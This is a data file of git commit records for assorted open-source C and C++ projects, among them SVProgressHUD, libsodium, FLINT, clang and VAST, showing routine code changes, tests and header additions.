barrelfish\nport.\n","lang":"C","license":"mit","repos":"mslovy\/barrelfish,kishoredbn\/barrelfish,utsav2601\/cmpe295A,kishoredbn\/barrelfish,utsav2601\/cmpe295A,mslovy\/barrelfish,mslovy\/barrelfish,linusyang\/barrelfish,kishoredbn\/barrelfish,kishoredbn\/barrelfish,kishoredbn\/barrelfish,8l\/barrelfish,8l\/barrelfish,8l\/barrelfish,BarrelfishOS\/barrelfish,mslovy\/barrelfish,mslovy\/barrelfish,linusyang\/barrelfish,utsav2601\/cmpe295A,BarrelfishOS\/barrelfish,kishoredbn\/barrelfish,utsav2601\/cmpe295A,utsav2601\/cmpe295A,utsav2601\/cmpe295A,linusyang\/barrelfish,BarrelfishOS\/barrelfish,mslovy\/barrelfish,BarrelfishOS\/barrelfish,BarrelfishOS\/barrelfish,8l\/barrelfish,8l\/barrelfish,linusyang\/barrelfish,BarrelfishOS\/barrelfish,linusyang\/barrelfish,8l\/barrelfish,BarrelfishOS\/barrelfish,BarrelfishOS\/barrelfish,BarrelfishOS\/barrelfish"}
{"commit":"0abe7310a53a27594af0929e1fcd2fc807a549d4","old_file":"Demo\/Classes\/AppDelegate.h","new_file":"Demo\/Classes\/AppDelegate.h","old_contents":"\/\/\n\/\/  SVProgressHUDAppDelegate.h\n\/\/  SVProgressHUD\n\/\/\n\/\/  Created by Sam Vermette on 27.03.11.\n\/\/  Copyright 2011 Sam Vermette. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@class ViewController;\n\n@interface AppDelegate : NSObject <UIApplicationDelegate> {\n    UIWindow *window;\n    ViewController *viewController;\n}\n\n@property (nonatomic) IBOutlet UIWindow *window;\n@property (nonatomic) IBOutlet ViewController *viewController;\n\n@end\n\n","new_contents":"\/\/\n\/\/  SVProgressHUDAppDelegate.h\n\/\/  SVProgressHUD\n\/\/\n\/\/  Created by Sam Vermette on 27.03.11.\n\/\/  Copyright 2011 Sam Vermette. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@class ViewController;\n\n@interface AppDelegate : NSObject <UIApplicationDelegate> {\n    UIWindow *__weak window;\n    ViewController *__weak viewController;\n}\n\n@property (weak, nonatomic) IBOutlet UIWindow *window;\n@property (weak, nonatomic) IBOutlet ViewController *viewController;\n\n@end\n\n","subject":"Convert demo project to ARC.","message":"Convert demo project to ARC.\n","lang":"C","license":"mit","repos":"iamcharleych\/SVProgressHUD,bertramdev\/SVProgressHUD,Pingco\/SVProgressHUD,kohtenko\/SVProgressHUD,phildow\/SVProgressHUD,ashfurrow\/SVProgressHUD,flovilmart\/SVProgressHUD,AutoScout24\/SVProgressHUD,wrcj12138aaa\/SVProgressHUD,zoyi\/SVProgressHUD,ShyHornet\/SVProgressHUD,hanangellove\/SVProgressHUD,PeeJWeeJ\/SwiftyHUD,tonyunreal\/SVProgressHUD,Sunday4\/SVProgressHUD,lyndonChen\/SVProgressHUD,cuppi\/SVProgressHUD,hnney\/SVProgressHUD,SuPair\/SVProgressHUD,mohsinalimat\/SVProgressHUD,zdiovo\/SVProgressHUD,siburb\/SVProgressHUD,sdonly\/SVProgressHUD,ddc391565320\/SVProgressHUD,pblondin\/SVProgressHUD,cogddo\/SVProgressHUD,pengleelove\/SVProgressHUD,DramaFever\/DFProgressHUD,basvankuijck\/SVProgressHUD,grachyov\/SVProgressHUD,zeptolee\/SVProgressHUD,powerhome\/SVProgressHUD,lzhao18\/SVProgressHUD,bhapca\/SVProgressHUD,shizu2014\/SVProgressHUD,hyperoslo\/SVProgressHUD,dongdonggaui\/SVProgressHUD,maxcampolo\/SVProgressHUD,ShowerLi1991\/SVProgressHUD,wjszf\/SVProgressHUD,hoanganh6491\/SVProgressHUD,PeeJWeeJ\/SwiftyHUD,cnzlh\/SVProgressHUD,taviscaron\/SVProgressHUD,ezescaruli\/SVProgressHUD,SixFiveSoftware\/SVProgressHUD,ohyeslk\/SVProgressHUD,shenhzou654321\/SVProgressHUD,Karumi\/SVProgressHUD,CPF183\/SVProgressHUD,cnbin\/SVProgressHUD,emodeqidao\/SVProgressHUD,adrum\/SVProgressHUD,CoderJFCK\/SVProgressHUD,icepy\/SVProgressHUD,SVProgressHUD\/SVProgressHUD,TransitApp\/SVProgressHUD,Kevin775263419\/SVProgressHUD,yarneo\/SVProgressHUD,lookingstars\/SVProgressHUD,Alsen007\/SVProgressHUD,huqiji\/SVProgressHUD,andreyvit\/SVProgressHUD,Benuuu\/SVProgressHUD,RyanCodes\/SVProgressHUD,morgman\/TASVProgressHUD,luxe-eng\/valet-ios.SVProgressHUD,pplant\/SVProgressHUD,dxt\/SVProgressHUD,haiiev\/SVProgressHUD,HelloWilliam\/SVProgressHUD,z514306470\/SVProgressHUD,Staance\/SVProgressHUD,isghe\/SVProgressHUD,apascual\/SVProgressHUD,1yvT0s\/SVProgressHUD,hoowang\/SVProgressHUD,Dschee\/SVProgressHUD"}
{"commit":"20e384988c8b20f20277a4e90557bce79af49bb9","old_file":"test\/default\/sodium_core.c","new_file":"test\/default\/sodium_core.c","old_contents":"\n#define TEST_NAME \"sodium_core\"\n#include \"cmptest.h\"\n\nint main(void)\n{\n    printf(\"%d\\n\", sodium_init());\n\n    (void)sodium_runtime_has_neon();\n    (void)sodium_runtime_has_sse2();\n    (void)sodium_runtime_has_sse3();\n\n    return 0;\n}\n","new_contents":"\n#define TEST_NAME \"sodium_core\"\n#include \"cmptest.h\"\n\nint main(void)\n{\n    printf(\"%d\\n\", sodium_init());\n\n    (void)sodium_runtime_has_neon();\n    (void)sodium_runtime_has_sse2();\n    (void)sodium_runtime_has_sse3();\n    (void)sodium_runtime_has_pclmul();\n    (void)sodium_runtime_has_aesni();\n\n    return 0;\n}\n","subject":"Test for presence of new sodium_runtime_has_*() functions","message":"Test for presence of new sodium_runtime_has_*() functions\n","lang":"C","license":"isc","repos":"eburkitt\/libsodium,eburkitt\/libsodium,rustyhorde\/libsodium,rustyhorde\/libsodium,Payshares\/libsodium,Payshares\/libsodium,pmienk\/libsodium,rustyhorde\/libsodium,pmienk\/libsodium,Payshares\/libsodium,eburkitt\/libsodium,rustyhorde\/libsodium,pmienk\/libsodium"}
{"commit":"e7ea97c272f62f4a66a11831191bcdc1f3af03fb","old_file":"examples\/dist\/prob.c","new_file":"examples\/dist\/prob.c","old_contents":"#include <assert.h>\n#include <inform\/dist.h>\n#include <math.h>\n\nint main()\n{\n    inform_dist *dist = inform_dist_create((uint32_t[4]){3, 0, 1, 2}, 4);\n    assert(abs(inform_dist_prob(dist, 0) -    0.5) < 1e-6);\n    assert(abs(inform_dist_prob(dist, 1) -    0.0) < 1e-6);\n    assert(abs(inform_dist_prob(dist, 2) - 0.1666) < 1e-6);\n    assert(abs(inform_dist_prob(dist, 3) - 0.3333) < 1e-6);\n    inform_dist_free(dist);\n}\n","new_contents":"#include <assert.h>\n#include <inform\/dist.h>\n#include <math.h>\n\nint main()\n{\n    inform_dist *dist = inform_dist_create((uint32_t[4]){3, 0, 1, 2}, 4);\n    assert(fabs(inform_dist_prob(dist, 0) -    0.5) < 1e-6);\n    assert(fabs(inform_dist_prob(dist, 1) -    0.0) < 1e-6);\n    assert(fabs(inform_dist_prob(dist, 2) - 0.1666) < 1e-6);\n    assert(fabs(inform_dist_prob(dist, 3) - 0.3333) < 1e-6);\n    for (size_t i = 0; i < 4; ++i)\n    {\n        printf(\"%lf  \", inform_dist_prob(dist, i));\n    }\n    printf(\"\\n\");\n    inform_dist_free(dist);\n}\n","subject":"Fix example build under clang","message":"Fix example build under clang\n","lang":"C","license":"mit","repos":"dglmoore\/Inform,ELIFE-ASU\/Inform,ELIFE-ASU\/Inform,dglmoore\/Inform"}
{"commit":"5aec5635d54290e070d0da3987468aeb416ea17d","old_file":"fq\/test\/t-pth_root.c","new_file":"fq\/test\/t-pth_root.c","old_contents":"","new_contents":"\/*=============================================================================\n\n    This file is part of FLINT.\n\n    FLINT is free software; you can redistribute it and\/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or\n    (at your option) any later version.\n\n    FLINT is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with FLINT; if not, write to the Free Software\n    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301 USA\n\n=============================================================================*\/\n\/******************************************************************************\n\n    Copyright (C) 2012 Sebastian Pancratz \n    Copyright (C) 2012 Andres Goens\n    Copyright (C) 2013 Mike Hansen\n\n******************************************************************************\/\n\n#include <stdio.h>\n\n#include \"fq.h\"\n#include \"ulong_extras.h\"\n#include \"long_extras.h\"\n\nint\nmain(void)\n{\n    int i, result;\n    flint_rand_t state;\n\n    flint_printf(\"pth_root... \");\n    fflush(stdout);\n\n    flint_randinit(state);\n\n    \/* Compare with sum of Galois conjugates *\/\n    for (i = 0; i < 1000; i++)\n    {\n        fq_ctx_t ctx;\n        fq_t a, b;\n\n        fq_ctx_randtest(ctx, state);\n\n        fq_init(a, ctx);\n        fq_init(b, ctx);\n\n        fq_randtest(a, state, ctx);\n        fq_pth_root(b, a, ctx);\n        fq_pow(b, b, fq_ctx_prime(ctx), ctx);\n\n        result = fq_equal(a, b, ctx);\n        if (!result)\n        {\n            flint_printf(\"FAIL:\\n\\n\");\n            flint_printf(\"a = \"), fq_print_pretty(a, ctx), flint_printf(\"\\n\");\n            flint_printf(\"b = \"), fq_print_pretty(b, ctx), flint_printf(\"\\n\");\n            abort();\n        }\n\n        fq_clear(a, ctx);\n        fq_clear(b, ctx);\n\n        fq_ctx_clear(ctx);\n    }\n\n    flint_randclear(state);\n    _fmpz_cleanup();\n    flint_printf(\"PASS\\n\");\n    return EXIT_SUCCESS;\n}\n\n","subject":"Add a test for fq_pth_root.","message":"Add a test for fq_pth_root.\n","lang":"C","license":"lgpl-2.1","repos":"dsroche\/flint2,fredrik-johansson\/flint2,jpflori\/flint2,jpflori\/flint2,fredrik-johansson\/flint2,fredrik-johansson\/flint2,jpflori\/flint2,dsroche\/flint2,jpflori\/flint2,wbhart\/flint2,dsroche\/flint2,wbhart\/flint2,wbhart\/flint2,dsroche\/flint2"}
{"commit":"040aeca4c99c536c055ff9f2611ed65b4d94b4f7","old_file":"include\/threadscan.h","new_file":"include\/threadscan.h","old_contents":"","new_contents":"\/*\nCopyright (c) 2015 ThreadScan authors\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n*\/\n\n#ifndef _THREADSCAN_H_\n#define _THREADSCAN_H_\n\n\/**\n * Submit a pointer for memory reclamation.  threadscan_collect() will call\n * free() on the pointer, itself, when there are no more outstanding\n * references on the stack or in blocks of memory specified using\n * threadscan_register_local_block().\n *\/\nextern void threadscan_collect (void *ptr);\n\n\/**\n * Specify a block of memory, local to the thread that called the function,\n * that ThreadScan will search during the reclamation phase.  Without this\n * call ThreadScan will search only the thread stacks.\n *\/\nextern void threadscan_register_local_block (void *addr, size_t size);\n\n#endif \/\/ !defined _THREADSCAN_H_\n","subject":"Add a header file for users to include.","message":"Add a header file for users to include.\n\nthreadscan.h lists the library's exported functions for simplicity.\n","lang":"C","license":"mit","repos":"Willtor\/ThreadScan,Willtor\/ThreadScan"}
{"commit":"7fa6f8081ac60d1e82f156d35bdf457185e54366","old_file":"Include\/Guid\/PcAtChipsetTokenSpace.h","new_file":"Include\/Guid\/PcAtChipsetTokenSpace.h","old_contents":"","new_contents":"\/** @file\r\n  GUID for PcAtChipsetPkg PCD Token Space \r\n\r\n  Copyright (c) 2009, Intel Corporation\r\n  All rights reserved. This program and the accompanying materials\r\n  are licensed and made available under the terms and conditions of the BSD License\r\n  which accompanies this distribution.  The full text of the license may be found at\r\n  http:\/\/opensource.org\/licenses\/bsd-license.php\r\n\r\n  THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\r\n  WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\r\n\r\n**\/\r\n\r\n#ifndef _PCATCHIPSET_TOKEN_SPACE_GUID_H_\r\n#define _PCATCHIPSET_TOKEN_SPACE_GUID_H_\r\n\r\n#define PCATCHIPSET_TOKEN_SPACE_GUID \\\r\n  { \\\r\n    0x326ae723, 0xae32, 0x4589, { 0x98, 0xb8, 0xca, 0xc2, 0x3c, 0xdc, 0xc1, 0xb1 } \\\r\n  }\r\n\r\nextern EFI_GUID gPcAtChipsetPkgTokenSpaceGuid;\r\n\r\n#endif\r\n","subject":"Add declaration header file for token space.","message":"Add declaration header file for token space.\n\ngit-svn-id: 5832b8bc916ddbdd95b25464e449aa07e9932e08@8781 6f19259b-4bc3-4df7-8a09-765794883524\n","lang":"C","license":"bsd-2-clause","repos":"hwu25\/edk2_PcAtChipsetPkg,hwu25\/edk2_PcAtChipsetPkg"}
{"commit":"b3a2fa880dc10002781ef990f5c7597ac6723c0e","old_file":"tests\/regression\/02-base\/96-null-deref-top.c","new_file":"tests\/regression\/02-base\/96-null-deref-top.c","old_contents":"","new_contents":"#include <assert.h>\n#include <stddef.h>\n\nint main() {\n  int r; \/\/ rand\n  int i = 0;\n  int *p;\n\n  if (r)\n    p = &i;\n  else\n    p = NULL;\n\n  if (*p == 2) \/\/ WARN\n    assert(1); \/\/ reachable (via UB)\n  return 0;\n}\n","subject":"Add NULL dereferenced top value test","message":"Add NULL dereferenced top value test\n\nThis is why we assumed this to be unreachable:\nhttps:\/\/gitlab.com\/sosy-lab\/benchmarking\/sv-benchmarks\/-\/merge_requests\/1364\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"967696ea0c410b0c6ea5b3c2bc689dccf25b19b5","old_file":"mysociety_error.h","new_file":"mysociety_error.h","old_contents":"","new_contents":"\/\/\n\/\/ mysociety_error.cpp:\n\/\/ Some helpers.\n\/\/\n\/\/ Copyright (c) 2009 UK Citizens Online Democracy. All rights reserved.\n\/\/ Email: francis@mysociety.org; WWW: http:\/\/www.mysociety.org\/\n\/\/\n\/\/ $Id: mysociety_error.h,v 1.1 2009-03-23 09:30:06 francis Exp $\n\/\/\n\n#include <string>\n\n#if defined(OUTPUT_ROUTE_DETAILS) or defined(DEBUG)\n#include <boost\/format.hpp>\n#endif\n\n#include <stdio.h>\n#include <assert.h>\n\n\/* Logging and debug assertions. Use assert for assertion that matter in release mode,\n * debug_assert for ones that can be stripped. *\/\n#ifdef DEBUG\n    void do_log(boost::basic_format<char, std::char_traits<char>, std::allocator<char> > &bf) {\n        puts(bf.str().c_str());\n    }\n    void do_log(const std::string& str) {\n        puts(str.c_str());\n    }\n    #define log(message) do_log(message);\n    #define debug_assert(thing) assert(thing);\n#else\n    #define log(message) while(0) { };\n    #define debug_assert(thing) while(0) { };\n#endif\n\n\/* Most similar to Python's Exception *\/\nclass Exception : public std::exception\n{\n    std::string s;\npublic:\n    Exception(std::string s_) : s(\"Exception: \" + s_) { }\n    ~Exception() throw() { }\n    const char* what() const throw() { return s.c_str(); }\n};\n\n\/* Error handling version of fread *\/\nvoid my_fread ( void * ptr, size_t size, size_t count, FILE * stream ) {\n    size_t ret = fread(ptr, size, count, stream);\n    assert(ret == count);\n}\n\n\n","subject":"Split up C++ program into separate files and put its components into proper places.","message":"Split up C++ program into separate files and put its components into proper\nplaces.\n","lang":"C","license":"agpl-3.0","repos":"MorusAB\/commonlib-fmg,MorusAB\/commonlib-fmg,MorusAB\/commonlib-fmg,MorusAB\/commonlib-fmg,MorusAB\/commonlib-fmg,MorusAB\/commonlib-fmg,MorusAB\/commonlib-fmg,MorusAB\/commonlib-fmg"}
{"commit":"f00bfc8fa7c73e6c58dc71d2da4555ce1712aef4","old_file":"compat\/compat.h","new_file":"compat\/compat.h","old_contents":"#ifndef COMPAT_H\n#define COMPAT_H\n\n#ifndef HAVE_PLEDGE\n#include \"pledge.h\"\n#endif\n\n#ifndef HAVE_STRTONUM\n#include \"strtonum.h\"\n#endif\n\n#ifndef timespecsub\n#define\ttimespecsub(tsp, usp, vsp)\t\t\t\t\t\\\n\tdo {\t\t\t\t\t\t\t\t\\\n\t\t(vsp)->tv_sec = (tsp)->tv_sec - (usp)->tv_sec;\t\t\\\n\t\t(vsp)->tv_nsec = (tsp)->tv_nsec - (usp)->tv_nsec;\t\\\n\t\tif ((vsp)->tv_nsec < 0) {\t\t\t\t\\\n\t\t\t(vsp)->tv_sec--;\t\t\t\t\\\n\t\t\t(vsp)->tv_nsec += 1000000000L;\t\t\t\\\n\t\t}\t\t\t\t\t\t\t\\\n\t} while (0)\n#endif\n\n#endif \/* COMPAT_H *\/\n","new_contents":"#ifndef COMPAT_H\n#define COMPAT_H\n\n#ifndef HAVE_PLEDGE\n#include \"pledge.h\"\n#endif\n\n#ifndef HAVE_STRTONUM\n#include \"strtonum.h\"\n#endif\n\n\/* Use CLOCK_REALTIME if CLOCK_MONOTONIC is not available *\/\n#ifndef CLOCK_MONOTONIC\n#define CLOCK_MONOTONIC CLOCK_REALTIME\n#endif\n\n#ifndef timespecsub\n#define\ttimespecsub(tsp, usp, vsp)\t\t\t\t\t\\\n\tdo {\t\t\t\t\t\t\t\t\\\n\t\t(vsp)->tv_sec = (tsp)->tv_sec - (usp)->tv_sec;\t\t\\\n\t\t(vsp)->tv_nsec = (tsp)->tv_nsec - (usp)->tv_nsec;\t\\\n\t\tif ((vsp)->tv_nsec < 0) {\t\t\t\t\\\n\t\t\t(vsp)->tv_sec--;\t\t\t\t\\\n\t\t\t(vsp)->tv_nsec += 1000000000L;\t\t\t\\\n\t\t}\t\t\t\t\t\t\t\\\n\t} while (0)\n#endif\n\n#endif \/* COMPAT_H *\/\n","subject":"Use CLOCK_REALTIME if CLOCK_MONOTONIC is not available.","message":"Use CLOCK_REALTIME if CLOCK_MONOTONIC is not available.\n","lang":"C","license":"bsd-2-clause","repos":"ansilove\/ansilove,ansilove\/AnsiLove-C"}
{"commit":"dcd84def06271e300e45a82186403905204cece0","old_file":"src\/exercise202.c","new_file":"src\/exercise202.c","old_contents":"","new_contents":"\/* A solution to Exercise 2-2 in The C Programming Language (Second Edition).\n *\/\n\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\nint main(void)\n{\n  uint32_t i = 0;\n  uint32_t lim = 100;\n  char c = 0;\n  char s[lim];\n  while (i < (lim - 1)) {\n    c = getchar();\n    if (c != '\\n') {\n      if (c != EOF) {\n        s[i++] = c;\n      }\n    }\n  }\n  s[i] = '\\0';\n  puts(s);\n  return EXIT_SUCCESS;\n}\n","subject":"Add solution to Exercise 2-2.","message":"Add solution to Exercise 2-2.\n","lang":"C","license":"unlicense","repos":"damiendart\/knr-solutions,damiendart\/knr-solutions,damiendart\/knr-solutions"}
{"commit":"79429d6a9d45df5cc4418a86778441204509aa26","old_file":"src\/tests\/enesim_test_renderer.c","new_file":"src\/tests\/enesim_test_renderer.c","old_contents":"","new_contents":"#include \"Enesim.h\"\n\nint main(int argc, char **argv)\n{\n\tEnesim_Renderer *r;\n\tEnesim_Surface *s;\n\n\tenesim_init();\n\tr = enesim_renderer_rectangle_new();\n\tenesim_renderer_shape_fill_color_set(r, 0xffffffff);\n\tenesim_renderer_rectangle_width_set(r, 100);\n\tenesim_renderer_rectangle_height_set(r, 100);\n\n\ts = enesim_surface_new(ENESIM_FORMAT_ARGB8888, 320, 240);\n\t\n\tenesim_renderer_draw(r, s, NULL, 0, 0);\n\tenesim_shutdown();\n\n\treturn 0;\n}\n","subject":"Add an example renderer test","message":"Add an example renderer test\n\n","lang":"C","license":"lgpl-2.1","repos":"turran\/enesim,turran\/enesim,turran\/enesim,turran\/enesim"}
{"commit":"e038cf04e9edcc2286dc180aa1ab9fe517c81990","old_file":"test\/PCH\/modified-header-error.c","new_file":"test\/PCH\/modified-header-error.c","old_contents":"\/\/ RUN: mkdir -p %t.dir\n\/\/ RUN: echo '#include \"header2.h\"' > %t.dir\/header1.h\n\/\/ RUN: echo > %t.dir\/header2.h\n\/\/ RUN: cp %s %t.dir\/t.c\n\/\/ RUN: %clang_cc1 -x c-header %t.dir\/header1.h -emit-pch -o %t.pch\n\/\/ RUN: sleep 2\n\/\/ RUN: echo >> %t.dir\/header2.h\n\/\/ RUN: %clang_cc1 %t.dir\/t.c -include-pch %t.pch -fsyntax-only 2>&1 | FileCheck %s\n\n#include \"header2.h\"\n\n\/\/ CHECK: fatal error: file {{.*}} has been modified since the precompiled header was built\n","new_contents":"\/\/ RUN: mkdir -p %t.dir\n\/\/ RUN: echo '#include \"header2.h\"' > %t.dir\/header1.h\n\/\/ RUN: echo > %t.dir\/header2.h\n\/\/ RUN: cp %s %t.dir\/t.c\n\/\/ RUN: %clang_cc1 -x c-header %t.dir\/header1.h -emit-pch -o %t.pch\n\/\/ RUN: echo >> %t.dir\/header2.h\n\/\/ RUN: %clang_cc1 %t.dir\/t.c -include-pch %t.pch -fsyntax-only 2>&1 | FileCheck %s\n\n#include \"header2.h\"\n\n\/\/ CHECK: fatal error: file {{.*}} has been modified since the precompiled header was built\n\/\/ DISABLE: win32\n\n","subject":"Disable this test on win32. My \"sleep 2\" trick didn't seem to work","message":"Disable this test on win32. My \"sleep 2\" trick didn't seem to work\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@139729 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"463ca23d5a937cdb12628eb9ef1c8a40113575d0","old_file":"test\/wasm\/soft\/float\/floatditf.c","new_file":"test\/wasm\/soft\/float\/floatditf.c","old_contents":"","new_contents":"#include \"src\/math\/reinterpret.h\"\n#include <stdint.h>\n#include <assert.h>\n\nint64_t __fixtfdi(long double);\n\nstatic _Bool run(int64_t a)\n{\n    return a == __fixtfdi(a);\n}\n\nint main(void)\n{\n    const int64_t delta = 0x0000002BA87B5A22;\n\n    assert(run(INT64_MAX));\n    assert(run(INT64_MIN));\n\n    for (int64_t i = 0x3FFFFFFFFFFFFFFF; i < 0x4340000000000000; i += delta) {\n        double x = reinterpret(double, i);\n        assert(run(x));\n        assert(run(-x));\n    }\n\n    for (int64_t i = 0; i <= INT64_MAX \/ delta; ++i) {\n        assert(run(i * delta));\n        assert(run(i * -delta));\n    }\n}\n","subject":"Test int64_t -> long double","message":"Test int64_t -> long double\n","lang":"C","license":"mit","repos":"jdh8\/metallic,jdh8\/metallic,jdh8\/metallic,jdh8\/metallic,jdh8\/metallic"}
{"commit":"5455d6710ff4f627858ddeac6bf169695ebd7f4b","old_file":"src\/ofxSocketIO.h","new_file":"src\/ofxSocketIO.h","old_contents":"\/\/\n\/\/  ofxSocketIO.h\n\/\/\n\/\/  Created by hugohil on 05\/02\/16.\n\/\/\n\/\/\n#pragma once\n\n#include \"ofMain.h\"\n#include \"ofEvents.h\"\n#if defined(_MSC_VER) || defined(_WIN32) || defined(WIN32) || defined(__MINGW32__)\n  \/\/ Windows stuff\n#else\n  \/\/ Linux and OSX here\n  #include <sio_client.h>\n#endif\n#include \"ofxSocketIOData.h\"\n\nclass ofxSocketIO : protected ofThread {\nprivate :\n  sio::client client;\n\n  std::string currentStatus;\n\n  void onConnect();\n  void onClose(sio::client::close_reason const& reason);\n  void onFail();\n  void onTryReconnect();\n\npublic :\n  void setup(std::string& address);\n  void setup(std::string& address, std::map<std::string,std::string>& query);\n\n  void bindEvent(ofEvent<ofxSocketIOData&>& event, std::string eventName, std::string nsp=\"\");\n\n  ofEvent<void> connectionEvent;\n  ofEvent<std::string> notifyEvent;\n\n  void emit(std::string& eventName);\n  void emit(std::string& eventName, std::string& data, std::string nsp=\"\");\n  void emitBinary(std::string& eventName, shared_ptr<string> const& bStr, std::string nsp=\"\");\n\n  void closeConnection();\n  void openConnection(std::string& address);\n};\n","new_contents":"\/\/\n\/\/  ofxSocketIO.h\n\/\/\n\/\/  Created by hugohil on 05\/02\/16.\n\/\/\n\/\/\n#pragma once\n\n#include \"ofMain.h\"\n#include \"ofEvents.h\"\n#if defined(_MSC_VER) || defined(_WIN32) || defined(WIN32) || defined(__MINGW32__)\n  \/\/ Windows stuff\n#else\n  \/\/ Linux and OSX here\n  #include <sio_client.h>\n#endif\n#include \"ofxSocketIOData.h\"\n\nclass ofxSocketIO : protected ofThread {\nprivate :\n  sio::client client;\n\n  void onConnect();\n  void onClose(sio::client::close_reason const& reason);\n  void onFail();\n  void onTryReconnect();\n\npublic :\n  std::string currentStatus = \"close\";\n\n  void setup(std::string& address);\n  void setup(std::string& address, std::map<std::string,std::string>& query);\n\n  void bindEvent(ofEvent<ofxSocketIOData&>& event, std::string eventName, std::string nsp=\"\");\n\n  ofEvent<void> connectionEvent;\n  ofEvent<std::string> notifyEvent;\n\n  void emit(std::string& eventName);\n  void emit(std::string& eventName, std::string& data, std::string nsp=\"\");\n  void emitBinary(std::string& eventName, shared_ptr<string> const& bStr, std::string nsp=\"\");\n\n  void closeConnection();\n  void openConnection(std::string& address);\n};\n","subject":"Set currentStatus public and add default value","message":"Set currentStatus public and add default value\n","lang":"C","license":"mit","repos":"soixantecircuits\/ofxSocketIO,soixantecircuits\/ofxSocketIO"}
{"commit":"3c7b73f39d31cddf1c2126e1d3e25fd8c9708235","old_file":"src\/vast\/access.h","new_file":"src\/vast\/access.h","old_contents":"#ifndef VAST_ACCESS_H\n#define VAST_ACCESS_H\n\nnamespace vast {\n\n\/\/\/ Wrapper to encapsulate the implementation of concepts requiring access to\n\/\/\/ private state.\nstruct access\n{\n  template <typename, typename = void>\n  struct state;\n\n  template <typename, typename = void>\n  struct parsable;\n\n  template <typename, typename = void>\n  struct printable;\n\n  template <typename, typename = void>\n  struct convertible;\n};\n\n} \/\/ namespace vast\n\n#endif\n","new_contents":"#ifndef VAST_ACCESS_H\n#define VAST_ACCESS_H\n\nnamespace vast {\n\n\/\/\/ Wrapper to encapsulate the implementation of concepts requiring access to\n\/\/\/ private state.\nstruct access\n{\n  template <typename, typename = void>\n  struct state;\n\n  template <typename, typename = void>\n  struct parser;\n\n  template <typename, typename = void>\n  struct printer;\n\n  template <typename, typename = void>\n  struct converter;\n};\n\nnamespace detail {\n\nstruct has_access_state\n{\n  template <typename T>\n  static auto test(T* x) -> decltype(access::state<T>{}, std::true_type());\n\n  template <typename>\n  static auto test(...) -> std::false_type;\n};\n\nstruct has_access_parser\n{\n  template <typename T>\n  static auto test(T* x) -> decltype(access::parser<T>{}, std::true_type());\n\n  template <typename>\n  static auto test(...) -> std::false_type;\n};\n\nstruct has_access_printer\n{\n  template <typename T>\n  static auto test(T* x) -> decltype(access::printer<T>{}, std::true_type());\n\n  template <typename>\n  static auto test(...) -> std::false_type;\n};\n\nstruct has_access_converter\n{\n  template <typename T>\n  static auto test(T* x) -> decltype(access::converter<T>{}, std::true_type());\n\n  template <typename>\n  static auto test(...) -> std::false_type;\n};\n\n} \/\/ namespace detail\n\ntemplate <typename T>\nstruct has_access_state : decltype(detail::has_access_state::test<T>(0)) {};\n\ntemplate <typename T>\nstruct has_access_parser : decltype(detail::has_access_parser::test<T>(0)) {};\n\ntemplate <typename T>\nstruct has_access_printer : decltype(detail::has_access_printer::test<T>(0)) {};\n\ntemplate <typename T>\nstruct has_access_converter : decltype(detail::has_access_converter::test<T>(0)) {};\n\n} \/\/ namespace vast\n\n#endif\n","subject":"Add traits for befriendable concepts.","message":"Add traits for befriendable concepts.\n","lang":"C","license":"bsd-3-clause","repos":"pmos69\/vast,mavam\/vast,pmos69\/vast,mavam\/vast,vast-io\/vast,vast-io\/vast,vast-io\/vast,pmos69\/vast,vast-io\/vast,vast-io\/vast,mavam\/vast,mavam\/vast,pmos69\/vast"}
